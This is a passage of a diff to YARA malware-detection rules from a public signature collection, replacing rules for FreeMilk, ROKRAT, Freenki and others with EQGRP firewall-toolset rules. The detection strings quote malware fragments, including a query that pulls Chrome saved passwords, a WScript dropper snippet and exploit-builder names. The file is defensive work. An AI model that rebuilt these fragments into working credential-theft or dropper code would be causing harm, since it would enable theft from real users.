-               CC 99 CC FF CC 99 99 FF CC 99 66 FF CC 58 33 FF
-               CC 01 00 FF CC FF FF CC CC FF CC CC CC FF 99 CC
-               CC FF 66 CC CC 58 33 CC CC 01 00 CC CC FF FF 99 }
-		$fp1 = "Adobe" ascii wide fullword
+		$s1 = "Name:   A hostname: 'host.network.com', a decimal numeric offset within" fullword ascii
+		$s2 = " www.badguy.net,CNAME,1800,host.badguy.net \\\\" ascii
 
 	condition:
-		uint16(0)==0x5a4d and $sc1 and not 1 of ($fp*) and pe.number_of_signatures<1
+		1 of them
 }
-rule SIGNATURE_BASE_VULN_LNX_OMI_RCE_CVE_2021_386471_Sep21 : CVE_2021_38647 FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Screamingplow
 {
 	meta:
-		description = "Detects a Linux OMI version vulnerable to CVE-2021-38647 (OMIGOD) which enables an unauthenticated RCE"
-		author = "Christian Burkard"
-		id = "ca49f0cc-ea33-559c-bd4f-306a01315fce"
-		date = "2021-09-16"
+		description = "EQGRP Toolset Firewall - file screamingplow.sh"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cb535ef0-e3ea-54cc-9082-3d63cc96d93a"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_cve_2021_386471_omi.yar#L1-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "99fddcf763f41a08a8ef8240d544ef67b840a1b5ae709bd7efbcbcad8268e8a5"
-		score = 50
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L268-L282"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "429ff81b6079785cc45d81b5ebf8bccd49f30484ca692017b0b66484463606d4"
+		score = 75
 		quality = 85
-		tags = "CVE-2021-38647, FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c7f4104c4607a03a1d27c832e1ebfc6ab252a27a1709015b5f1617b534f0090a"
 
 	strings:
-		$a1 = "/opt/omi/bin/omiagent" ascii fullword
-		$s1 = "OMI-1.6.8-0 - " ascii
-		$s2 = "OMI-1.6.6-0 - " ascii
-		$s3 = "OMI-1.6.4-1 - " ascii
-		$s4 = "OMI-1.6.4-0 - " ascii
-		$s5 = "OMI-1.6.2-0 - " ascii
-		$s6 = "OMI-1.6.1-0 - " ascii
-		$s7 = "OMI-1.5.0-0 - " ascii
-		$s8 = "OMI-1.4.4-0 - " ascii
-		$s9 = "OMI-1.4.3-2 - " ascii
-		$s10 = "OMI-1.4.3-1 - " ascii
-		$s11 = "OMI-1.4.3-0 - " ascii
-		$s12 = "OMI-1.4.2-5 - " ascii
-		$s13 = "OMI-1.4.2-4 - " ascii
-		$s14 = "OMI-1.4.2-3 - " ascii
-		$s15 = "OMI-1.4.2-2 - " ascii
-		$s16 = "OMI-1.4.2-1 - " ascii
-		$s17 = "OMI-1.4.1-1 - " ascii
-		$s18 = "OMI-1.4.1-0 - " ascii
-		$s19 = "OMI-1.4.0-6 - " ascii
+		$s1 = "What is the name of your PBD:" fullword ascii
+		$s2 = "You are now ready for a ScreamPlow" fullword ascii
 
 	condition:
-		uint32be(0)==0x7f454c46 and $a1 and 1 of ($s*)
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Freemilk_APT_Mal_1 : FILE
+rule SIGNATURE_BASE_EQGRP_Mixtext
 {
 	meta:
-		description = "Detects malware from FreeMilk campaign"
+		description = "EQGRP Toolset Firewall - file MixText.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eff37dba-d4a9-5e3d-9452-49f04ddcbe0b"
-		date = "2017-10-05"
+		id = "99b06100-8a05-5c22-8b7d-ed451d5f4e81"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_freemilk.yar#L13-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d66feceb01ecdd84345def58270a8788b563c99a7efadf9a3049c5fbbbd15da8"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L284-L297"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cae2437124ad6e69b04a1338b651e33c7358b7fedd0613f3fa1025cf980e14ab"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "34478d6692f8c28332751b31fd695b799d4ab36a8c12f7b728e2cb99ae2efcd9"
-		hash2 = "35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2"
-		hash3 = "0f82ea2f92c7e906ee9ffbbd8212be6a8545b9bb0200eda09cce0ba9d7cb1313"
+		hash1 = "e4d24e30e6cc3a0aa0032dbbd2b68c60bac216bef524eaf56296430aa05b3795"
 
 	strings:
-		$x1 = "\\milk\\Release\\milk.pdb" ascii
-		$x2 = "E:\\BIG_POOH\\Project\\" ascii
-		$x3 = "Windows-KB271854-x86.exe" fullword wide
-		$s1 = "Windows-KB275122-x86.exe" fullword wide
-		$s2 = "\\wsatra.tmp" wide
-		$s3 = "%s\\Rar0tmpExtra%d.rtf" fullword wide
-		$s4 = "\"%s\" help" fullword wide
+		$s1 = "BinStore enabled implants." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="108aa007b3d1b4817ff4c04d9b254b39" or 1 of ($x*) or 4 of them )
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Freemilk_APT_Mal_2 : FILE
+rule SIGNATURE_BASE_EQGRP_Tunnel_State_Reader
 {
 	meta:
-		description = "Detects malware from FreeMilk campaign"
+		description = "EQGRP Toolset Firewall - file tunnel_state_reader"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ef5f400c-16f8-5374-af16-c8530ddb87ee"
-		date = "2017-10-05"
+		id = "e48c9482-eae5-5c34-b7b2-502d0252f4a0"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_freemilk.yar#L41-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ad2cc04542e93add3e7856574d4de5aa371cc31542f87b1e90d30e12e0149341"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L299-L313"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d0653650aad10e7ff69b7ef1e61fac64310c63cc68c6d924655f082925e4fd04"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df"
+		hash1 = "49d48ca1ec741f462fde80da68b64dfa5090855647520d29e345ef563113616c"
 
 	strings:
-		$s1 = "failed to take the screenshot. err: %d" fullword ascii
-		$s2 = "runsample" fullword wide
-		$s3 = "%s%02X%02X%02X%02X%02X%02X:" fullword wide
-		$s4 = "win-%d.%d.%d-%d" fullword wide
+		$s1 = "Active connections will be maintained for this tunnel. Timeout:" fullword ascii
+		$s5 = "%s: compatible with BLATSTING version 1.2" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="b86f7d2c1c182ec4c074ae1e16b7a3f5" or all of them )
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Freemilk_APT_Mal_3 : FILE
+rule SIGNATURE_BASE_EQGRP_Payload
 {
 	meta:
-		description = "Detects malware from FreeMilk campaign"
+		description = "EQGRP Toolset Firewall - file payload.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "152781f0-756b-50ab-b588-4af5fa4ce419"
-		date = "2017-10-05"
+		id = "949cb68b-e384-578c-a906-a4d9234dc668"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_freemilk.yar#L62-L78"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "be68f624a2a374525857193d27f0645be5d10c198954dd90350448c3127e4bb5"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L315-L329"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "22e2a4809f6646437ab0824238fec791f3760ac305f9c818089797b011425b3d"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ef40f7ddff404d1193e025081780e32f88883fa4dd496f4189084d772a435cb2"
+		hash1 = "21bed6d699b1fbde74cbcec93575c9694d5bea832cd191f59eb3e4140e5c5e07"
 
 	strings:
-		$s1 = "CMD.EXE /C \"%s\"" fullword wide
-		$s2 = "\\command\\start.exe" wide
-		$s3 = ".bat;.com;.cmd;.exe" fullword wide
-		$s4 = "Unexpected failure opening HKCR key: %d" fullword ascii
+		$s1 = "can't find target version module!" fullword ascii
+		$s2 = "class Payload:" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and all of them )
+		all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Freemilk_APT_Mal_4 : FILE
+rule SIGNATURE_BASE_EQGRP_Eligiblecandidate
 {
 	meta:
-		description = "Detects malware from FreeMilk campaign"
+		description = "EQGRP Toolset Firewall - file eligiblecandidate.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "44f919f7-8eda-5e70-88d5-9e81a761192c"
-		date = "2017-10-05"
+		id = "e084b051-4aa1-54b2-9f56-69db386b46d6"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_freemilk.yar#L80-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "deedb1da7e3421cd300fceea354a690e22005bab16eb0cc20b46f912393b637d"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L331-L348"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e7e1b206f9c51ffe0ab016a93d551a9ede8f87adfc38fe70278be8c2f0fe0696"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
+		hash1 = "c4567c00734dedf1c875ecbbd56c1561a1610bedb4621d9c8899acec57353d86"
 
 	strings:
-		$x1 = "base64Encoded=\"TVqQAAMAAAAE" ascii
-		$s1 = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" fullword wide
-		$s2 = "'Wscript.echo \"Base64 encoded: \" + base64Encoded" fullword ascii
-		$s3 = "\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
-		$s4 = "outFile=sysDir&\"\\rundll32.exe\"" fullword ascii
-		$s5 = "set shell = WScript.CreateObject(\"WScript.Shell\")" fullword ascii
-		$s6 = "command =outFile &\" sysupdate\"" fullword ascii
+		$o1 = "Connection timed out. Only a problem if the callback was not received." fullword ascii
+		$o2 = "Could not reliably detect cookie. Using 'session_id'..." fullword ascii
+		$c1 = "def build_exploit_payload(self,cmd=\"/tmp/httpd\"):" fullword ascii
+		$c2 = "self.build_exploit_payload(cmd)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and ((pe.exports("getUpdate") and pe.number_of_exports==1) or 1 of ($x*) or 3 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_BTC_Miner_Lsass1_Chrome_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_BUSURPER_2211_724
 {
 	meta:
-		description = "Detects a Bitcoin Miner"
+		description = "EQGRP Toolset Firewall - file BUSURPER-2211-724.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7960d96a-7bd3-5135-867d-e39a02274c45"
-		date = "2017-06-22"
+		id = "d109210e-14df-5b90-a496-fa8a2454126b"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "Internal Research - CN Actor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_group_btc.yar#L10-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ef80dba71c901d6e821b2e08a701a82f8147e41a8f14c5fd324d5e043b0ff322"
-		score = 60
-		quality = 85
-		tags = "FILE"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L350-L367"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "834180ef512882cc3b22e79a6bda349678eb5042a3356a50c47eeb36ae453427"
+		score = 75
+		quality = 83
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "048e9146387d6ff2ac055eb9ddfbfb9a7f70e95c7db9692e2214fa4bec3d5b2e"
-		hash2 = "c8db8469287d47ffdc74fe86ce0e9d6e51de67ba1df318573c9398742116a6e8"
+		hash1 = "d809d6ff23a9eee53d2132d2c13a9ac5d0cb3037c60e229373fc59a4f14bc744"
 
 	strings:
-		$x1 = "-t, --threads=N       number of miner threads (default: number of processors)" fullword ascii
-		$x2 = "-O, --userpass=U:P    username:password pair for mining server" fullword ascii
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "_start_text" ascii
+		$s3 = "IMPLANT" fullword ascii
+		$s4 = "KEEPGOING" fullword ascii
+		$s5 = "upgrade_implant" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <6000KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_CN_Actor_RA_Tool_Ammyy_Mscorsvw : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Networkprofiler_Orderscans
 {
 	meta:
-		description = "Detects Ammyy remote access tool"
+		description = "EQGRP Toolset Firewall - file networkProfiler_orderScans.sh"
 		author = "Florian Roth (Nextron Systems)"
-		id = "71a0c5a9-b4dc-508d-a6b7-4b85b75bc34b"
-		date = "2017-06-22"
+		id = "2d48df0c-f950-5bb6-8d3e-77c2f970eb57"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "Internal Research - CN Actor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_group_btc.yar#L29-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c4b64b3aa63d80fa1a73b021bf49539af5888f53090555555c1f3fd7fbb90230"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L369-L383"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0cdf4f3d8f668ce5d5aab652c83cb4d2a9acc3471ff720448d021707b34402ef"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1831806fc27d496f0f9dcfd8402724189deaeb5f8bcf0118f3d6484d0bdee9ed"
-		hash2 = "d9ec0a1be7cd218042c54bfbc12000662b85349a6b78731a09ed336e5d3cf0b4"
+		hash1 = "ea986ddee09352f342ac160e805312e3a901e58d2beddf79cd421443ba8c9898"
 
 	strings:
-		$s1 = "Please enter password for accessing remote computer" fullword ascii
-		$s2 = "Die Zugriffsanforderung wurde vom Remotecomputer abgelehnt" fullword ascii
-		$s3 = "It will automatically be run the next time this computer is restart or you can start it manually" fullword ascii
+		$x1 = "Unable to save off predefinedScans directory" fullword ascii
+		$x2 = "Re-orders the networkProfiler scans so they show up in order in the LP" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <4000KB and 3 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Actor_Ammyyadmin : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Epicbanana_2_1_0_1
 {
 	meta:
-		description = "Detects Ammyy Admin Downloader"
+		description = "EQGRP Toolset Firewall - file epicbanana_2.1.0.1.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "08ffb61a-e2de-538e-9d9f-040276324af9"
-		date = "2017-06-22"
+		id = "cc3346bd-0347-5cf3-b946-5c017d68d93e"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "Internal Research - CN Actor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_cn_group_btc.yar#L47-L61"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b628c7e6debdd2b21a321dc2ec5838fd56107f4cac21bda8b9faa1c1d5b23b71"
-		score = 60
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L385-L399"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "be0b180e0dfdda35725ac6d9c35752a0b56bdbdaf985b6932c7d2ff342d4cde3"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1831806fc27d496f0f9dcfd8402724189deaeb5f8bcf0118f3d6484d0bdee9ed"
+		hash1 = "4b13cc183c3aaa8af43ef3721e254b54296c8089a0cd545ee3b867419bb66f61"
 
 	strings:
-		$x2 = "\\Ammyy\\sources\\main\\Downloader.cpp" ascii
+		$s1 = "failed to create version-specific payload" fullword ascii
+		$s2 = "(are you sure you did \"make [version]\" in versions?)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_ROKRAT_Malware : FILE
+rule SIGNATURE_BASE_EQGRP_Sniffer_Xml2Pcap
 {
 	meta:
-		description = "Detects ROKRAT Malware"
+		description = "EQGRP Toolset Firewall - file sniffer_xml2pcap"
 		author = "Florian Roth (Nextron Systems)"
-		id = "52e7e144-b704-5254-9a0f-928fbc96f877"
-		date = "2017-04-03"
-		modified = "2021-09-14"
-		reference = "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rokrat.yar#L8-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8b8fa3f97ce13e501cc25b89e2cfdaf785f1cb9f57a9dbd3461596b1bc6178c2"
+		id = "c284ac58-923c-5c34-b420-e87797915233"
+		date = "2016-08-16"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L401-L415"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c3aa9f42edbca32725f8c02023e3b9644162a001ded099513d12f94d70dd4c8"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00"
-		hash2 = "cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c"
+		hash1 = "f5e5d75cfcd86e5c94b0e6f21bbac886c7e540698b1556d88a83cc58165b8e42"
 
 	strings:
-		$x1 = "c:\\users\\appdata\\local\\svchost.exe" fullword ascii
-		$x2 = "c:\\temp\\episode3.mp4" fullword ascii
-		$x3 = "MAC-SIL-TED-FOO-YIM-LAN-WAN-SEC-BIL-TAB" ascii
-		$x4 = "c:\\temp\\%d.tmp" ascii fullword
-		$s1 = "%s%s%04d%02d%02d%02d%02d%02d.jar" fullword ascii
-		$s2 = "\\Aboard\\Acm%c%c%c.exe" ascii
-		$a1 = "ython" ascii fullword
-		$a2 = "iddler" ascii fullword
-		$a3 = "egmon" ascii fullword
-		$a6 = "iresha" ascii fullword
+		$x1 = "-s/--srcip <sourceIP>  Use given source IP (if sniffer doesn't collect source IP)" fullword ascii
+		$x2 = "convert an XML file generated by the BLATSTING sniffer module into a pcap capture file." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <25000KB and (1 of ($x*) or (5 of them ))
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_ROKRAT_Dropper_Nov17 : FILE
+rule SIGNATURE_BASE_EQGRP_Bananaaid
 {
 	meta:
-		description = "Detects dropper for ROKRAT malware"
+		description = "EQGRP Toolset Firewall - file BananaAid"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4f3156a2-6b1b-5c65-b8fa-84c0b739d703"
-		date = "2017-11-28"
+		id = "bdd3ce51-1809-5b2f-9c7e-6c0b056d022b"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rokrat.yar#L48-L61"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4a444342a4fb4d10aaf8efb5c26954847ce1089c9cec37d1ab3b03e0ac566c6c"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L417-L433"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2ae52529547866dcfe66fffb3f5b37eba89844b7675129c66636ebef01b0f49a"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14"
-		hash2 = "a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037"
+		hash1 = "7a4fb825e63dc612de81bc83313acf5eccaa7285afc05941ac1fef199279519f"
+
+	strings:
+		$x1 = "(might have to delete key in ~/.ssh/known_hosts on linux box)" fullword ascii
+		$x2 = "scp BGLEE-" ascii
+		$x3 = "should be 4bfe94b1 for clean bootloader version 3.0; " fullword ascii
+		$x4 = "scp <configured implant> <username>@<IPaddr>:onfig" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2500KB and pe.imphash()=="c6187b1b5f4433318748457719dd6f39"
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Freeenki_Infostealer_Nov17 : FILE
+rule SIGNATURE_BASE_EQGRP_Bo : FILE
 {
 	meta:
-		description = "Detects Freenki infostealer malware"
+		description = "EQGRP Toolset Firewall - file bo"
 		author = "Florian Roth (Nextron Systems)"
-		id = "01365093-e40a-524a-8a13-217742542f1e"
-		date = "2017-11-28"
-		modified = "2023-01-06"
-		reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rokrat.yar#L63-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e823ef5506b2fdf30a6ff9bdf6eee552b767b66a6c007a30618fc212d598b540"
+		id = "6aa71528-3ce6-5597-bb1a-e44cff3856d6"
+		date = "2016-08-16"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L435-L452"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "48c2d3f13283d2a1b7e1010c724f1e68e6002dd9a9779025dfc3a4952bec95bc"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "aa8b363073e8ae754b1836c30f440d7619890ded92fb5b97c73294b15d22441d"
 
 	strings:
-		$x1 = "base64Encoded=\"TVqQAAMAAAAEAAAA" ascii
-		$x2 = "command =outFile &\" sysupdate\"" fullword ascii
-		$x3 = "outFile=sysDir&\"\\rundll32.exe\"" fullword ascii
-		$s1 = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" fullword wide
-		$s2 = "c:\\TEMP\\CrashReports\\" ascii
-		$s3 = "objShell.run command, 0, True" fullword ascii
-		$s4 = "sysDir = shell.ExpandEnvironmentStrings(\"%windir%\")" fullword ascii
-		$s5 = "'Wscript.echo \"Base64 encoded: \" + base64Encoded" fullword ascii
-		$s6 = "set shell = WScript.CreateObject(\"WScript.Shell\")" fullword ascii
-		$a1 = "\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
-		$a2 = "SELECT username_value, password_value, signon_realm FROM logins" fullword ascii
+		$s1 = "ERROR: failed to open %s: %d" fullword ascii
+		$s2 = "__libc_start_main@@GLIBC_2.0" ascii
+		$s3 = "serial number: %s" fullword ascii
+		$s4 = "strerror@@GLIBC_2.0" fullword ascii
+		$s5 = "ERROR: mmap failed: %d" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (1 of ($x*) or 3 of them or all of ($a*))
+		( uint16(0)==0x457f and filesize <20KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Freeenki_Infostealer_Nov17_Export_Sig_Testing : FILE
+rule SIGNATURE_BASE_EQGRP_Seconddate_2211 : FILE
 {
 	meta:
-		description = "Detects Freenki infostealer malware"
+		description = "EQGRP Toolset Firewall - file SecondDate-2211.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "929f9d41-2e71-5a86-b12f-489355bdf88d"
-		date = "2017-11-28"
+		id = "00951270-6189-58b6-8b64-422c4ab15ebe"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rokrat.yar#L94-L106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
